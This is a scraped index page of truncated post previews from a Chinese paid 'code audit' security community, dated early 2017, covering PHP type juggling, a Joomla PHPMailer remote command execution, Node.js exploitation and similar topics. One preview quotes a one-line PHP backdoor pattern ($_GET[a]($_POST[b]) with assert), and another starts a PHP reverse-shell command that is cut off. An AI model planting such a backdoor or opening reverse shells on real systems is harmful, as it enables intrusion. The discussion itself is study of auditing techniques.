你尚未登录

未加入『代码审计』知识星球的用户只能查看少量内容,且不能下载附件。 加入『代码审计』知识星球即可查看所有内容。

2017 二月 10
感觉ph师傅挖到0day了 至少需要知...

图片


2017 二月 10
利用 Node.js 反...
2017 二月 10
这个地方是否可以利用?(这里的利用指:...

图片


2017 二月 08
分享一篇文章 Type Jug...
2017 二月 08
请教大家一个小问题,a.php的代码如下: <?...
2017 二月 06
《php各版本的姿势(持续更...)》 php各版本的姿势(持续更...) - ...

图片


2017 二月 06
@下辈子想做头猪:

请问joomla的phpmailer远程命令执行您有重现过吗?Security Announcements

...
2017 二月 05
@wonderkun:

phithon师父,我有个东西不明白: $_GET[a]($_POST[b]) 当传入a=assert 就是后门 当a=eval就是报错说eval不是函数。 难道eval真不是函数,是一个语句,像echo一样?

...
2017 二月 05
大佬们,这种情况 $a = &#x...
2017 一月 31
请教大家一个小问题,用php来进行反弹shell的时候,使用php -r '$sock=...

图片